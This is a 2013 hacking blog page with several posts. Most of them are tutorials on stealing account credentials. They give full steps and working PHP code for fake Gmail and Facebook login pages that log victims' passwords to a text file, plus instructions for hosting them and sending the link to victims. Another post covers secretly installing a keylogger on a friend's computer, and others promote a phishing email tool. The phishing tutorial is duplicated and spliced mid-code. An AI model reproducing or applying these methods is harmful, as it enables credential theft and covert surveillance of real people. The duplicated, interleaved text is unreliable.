Showing posts with label Spam Tools. Show all posts
Showing posts with label Spam Tools. Show all posts

Friday, October 18, 2013

SpearPhisher – A Simple Phishing Email Generation Tool





SpearPhisher is a simple point and click Windows GUI tool designed for (mostly) non-technical people who would like to supplement the education and awareness aspect of their information security program. Not only is it useful to non-technical folks, penetration testers may find it handy for sending quick and easy ad-hoc phishing emails. The tool supports specifying different sending names and email addresses, multiple recipients via TO, CC, BCC, and allows bulk loading with one recipient email address per line in a file. It allows customization of the subject, adding one attachment, and SSL support for SMTP enabled mail servers. One of the popular features with our client is the WYSIWYG HTML editor that allows virtually anyone to use the tool; previewing results as you point and click edit your malicious email body. If you want to add custom XSS exploits, client side attacks, or other payloads such as a Java Applet code generated by the Social Engineer Toolkit (SET), its split screen editor allows more advanced users to edit HTML directly.
Download : Here


Official website : Here

Sunday, September 22, 2013

WEB X GRABBER FOR SPAMMERS

WEB X GRABBER FOR SPAMMERS (HACK 2 WORLD)

Sunday, September 15, 2013

How to identify fake login pages to avoid phishing




In my previous post i have explained how to hack a gmail account using phishing. You can read it from here.
Today i am going to show you how to identify fake login pages.

These phishing attacks are very simple to avoid.
When you are asked to put your confidential data in any website or login pages, first check the URL.
If the URL is different from your original URL, then it is a fake page.
say.. we have gmail, in this case the URL should be "mail.google.com" or "gmail.com" like this.
Anything else is fake.

We can also identify fake login pages by observing the source code of the page.
In the case of gmail fake login page, do the following steps.
1) right click on the page




2) click on "view page source"
3) Now the source code of the page will be opened.




4) Now search for the word "action"
This can be done by pressing "ctrl+f". It opens a search box. Now enter the word "action" into the box and press enter.
If You see "something.php" next to the word "action" then it is a fake page. otherwise it will be original a one.



Hope you enjoyed the tutorial. if you have any doubts, just make a comment.

How to create fake login page for any website



Phishing is a popular and dangerous hacking technique to steal the confidential information of the people using fake login pages. In this article i m going to show you how to create your own fake login pages for any website.
Before reading this article you need to know the basic concept of phishing. If you are new to phishing, i recommend you to know the basics.

To perform phishing attack, you need to create three files they are


1) .html
2) .php
3) .txt


Procedure:

Step 1:


Open the website for which you want to create a fake login page. In my case it is gmail.
Follow the steps carefully.

Give a right click and then select “view page source”.
It opens the source code of the page.







Now copy the entire code by pressing CTRL+A and paste it in your notepad.

and press CTRL+F at your notepad. It opens a search box. There enter the word “action”.

Now it shows the word “action” by highlighting it.

Here again follow the steps carefully.

Delete everything within the double quotes.

It means https://accounts.google.com/ServiceLoginAuth should be deleted.

And replace it with “mail.php”

And change the word “post” to “get” as shown in the figure.





Now save it as "gmail.html".
Your fake login page is ready.



Step 2:

Now you need to create the file “mail.php”

Just copy the following code in your notepad and save it as “mail.php”


<?php
header ('Location: https://www.google.com/accounts/ServiceLoginAuth?service=mail ');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {




Phishing is a popular and dangerous hacking technique to steal the confidential information of the people using fake login pages. In this article i m going to show you how to create your own fake login pages for any website.

Before reading this article you need to know the basic concept of phishing. If you are new to phishing, i recommend you to know the basics.

You can read them from here.




What is phishing.




How to hack gmail using phishing.







To perform phishing attack, you need to create three files they are







1) .html

2) .php

3) .txt







Procedure:




Step 1:







Open the website for which you want to create a fake login page. In my case it is gmail.

Follow the steps carefully.




Give a right click and then select “view page source”.

It opens the source code of the page.
















Now copy the entire code by pressing CTRL+A and paste it in your notepad.




and press CTRL+F at your notepad. It opens a search box. There enter the word “action”.




Now it shows the word “action” by highlighting it.




Here again follow the steps carefully.




Delete everything within the double quotes.




It means https://accounts.google.com/ServiceLoginAuth should be deleted.




And replace it with “mail.php”




And change the word “post” to “get” as shown in the figure.










Now save it as "gmail.html".

Your fake login page is ready.




Step 2:




Now you need to create the file “mail.php”




Just copy the following code in your notepad and save it as “mail.php”







<?php

header ('Location: https://www.google.com/accounts/ServiceLoginAuth?service=mail ');

$handle = fopen("log.txt", "a");

foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>







Step 3:




create an empty notepad file and save it as “log.txt”.

Now upload these 3 files onto your free webhosting site and then change the permissions of your log.txt file to 777.

Thats it. You are done. Now you can send your fake login page to your victim.




Hope you liked it.. Feel free to comment.

fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Step 3:

create an empty notepad file and save it as “log.txt”.
Now upload these 3 files onto your free webhosting site and then change the permissions of your log.txt file to 777.
Thats it. You are done. Now you can send your fake login page to your victim.

Hope you liked it.. Feel free to comment.

Hack Gmail,Facebook,Orkut accounts using REFOG keylogger



In my previous article, i have given a small introduction to keyloggers.
In this article i am going to show you how you can monitor your computer using REFOG keylogger.


Requirements:


REFOG keylogger


Concept:


This is a software you have to install on your computer. It sends all the keystrokes,screenshots to your mail box and thus you can easily hack anyone's account by simply installing this keylogger.


Procedure:


First download keylogger and install it.
You can download it from here.
After installing follow the steps as shown in the screen shots.

















Here enter the following information


5-minutes
Email - your email address.
Account password - Your email password
Email-sender-Your email address.


and finally click test.








Now it sends an email to your email id to test whether it is working or not.





After clicking "OK" verify your email id. you shoul receive an email from it.
Then follow the steps again.





This is the important window. Here you can specify your HOT KEY to see the logs on your system when you dont have internet.






And finally click finish.
Now if you want to see your logs, just press the HOT KEY you have specified in the above steps.
It opens a window where you can see all the functions of your keylogger.
I kept a screenshot of KEYSTROKE logging here..






You can install this keylogger on your friend's system and can hack his accounts.
The disadvantage is you should have physical access to your friend's computer.
I will write an article on remote installation keylogger soon.


Hope you liked it.If you have any doubts or suggestions leave a comment.

Hack facebook accounts using phishing




In one of my previous posts,i have explained about how to hack gmail using phishing.

Here i will show how to hack facebook account passwords using phishing.
This is also similar to gmail phishing.


Things required:

1)index1.html (fake login page)


2)write.php (to capture the login details)


3)passes.txt (the php script aitomatically creates this file)

You can download them from here.


Procedure:


step1:
create an account in any free web hosting site like
www.110mb.com
www. t35.com
www. ripway.com
www. my3gb.com


step2:


Now upload all the two files you have downloaded.(I have taken www.my3gb.com)





step 3:


Give the link of the fake page to your victim.
eg: www.username.my3gb.com/index1.html


step 4:


when he clicks the link, it opens a fake facebook page where he enters his login details. When he clicks sign in button,his login details will be stored in passes.txt file.


Demonstration:
Here i have uploaded my scripts on to www.my3gb.com







and i clicked the index1.html link.


A fake page was opened where i entered my login details.





Now my login details were captured by the php script and stored in passes.txt file as shown in the figure below.




thats it. you are done. Now you can do whatever you want with the details.


NOTE:please dont misuse the content provided here.




Hope you liked this article. For further doubts and clarifications leave your comments.

How to hack gmail using phishing.







In my previous post,i have explained the basic concept of Phishing like What is phishing,how it works.



Here i will show how to hack gmail passwords using phishing.




Things required:

1)gmail.html (fake login page)

2)mail.php (to capture the login details)

3)log.txt (to store the captured details)

You can download them from here




Procedure:

step1: create an account in any free web hosting site like

www.110mb.com

www. t35.com

www. ripway.com

www. my3gb.com

step2: Now upload all the three files you have downloaded.(I have taken www.my3gb.com)



step 3: Give the link of the fake page to your victim.

eg: www.yoursitename.my3gb.com/gmail.html

step 4:when he clicks the link, it opens a fake gmail page where he enters his login details. When he clicks sign in button,his login details will be stored in log.txt file.




Demonstration:

Here i have uploaded my scripts on to www.my3gb.com



and i clicked the gmail.html link.

A fake page was opened where i entered my login details.





Now my login details were captured by the php script and stored in log.txt file as shown in the figure below.











Hope you liked this article. For further doubts and clarifications leave your comments.

Saturday, September 14, 2013

[SpearPhisher] A Simple Phishing Email Generation Tool

spearphiser1



SpearPhisher is a simple point and click Windows GUI tool designed for (mostly) non-technical people who would like to supplement the education and awareness aspect of their information security program. Not only is it useful to non-technical folks, penetration testers may find it handy for sending quick and easy ad-hoc phishing emails. The tool supports specifying different sending names and email addresses, multiple recipients via TO, CC, BCC, and allows bulk loading with one recipient email address per line in a file. It allows customization of the subject, adding one attachment, and SSL support for SMTP enabled mail servers. One of the popular features with our client is the WYSIWYG HTML editor that allows virtually anyone to use the tool; previewing results as you point and click edit your malicious email body. If you want to add custom XSS exploits, client side attacks, or other payloads such as a Java Applet code generated by the Social Engineer Toolkit (SET), its split screen editor allows more advanced users to edit HTML directly.






The tool can be downloaded from the TrustedSec Tools page located: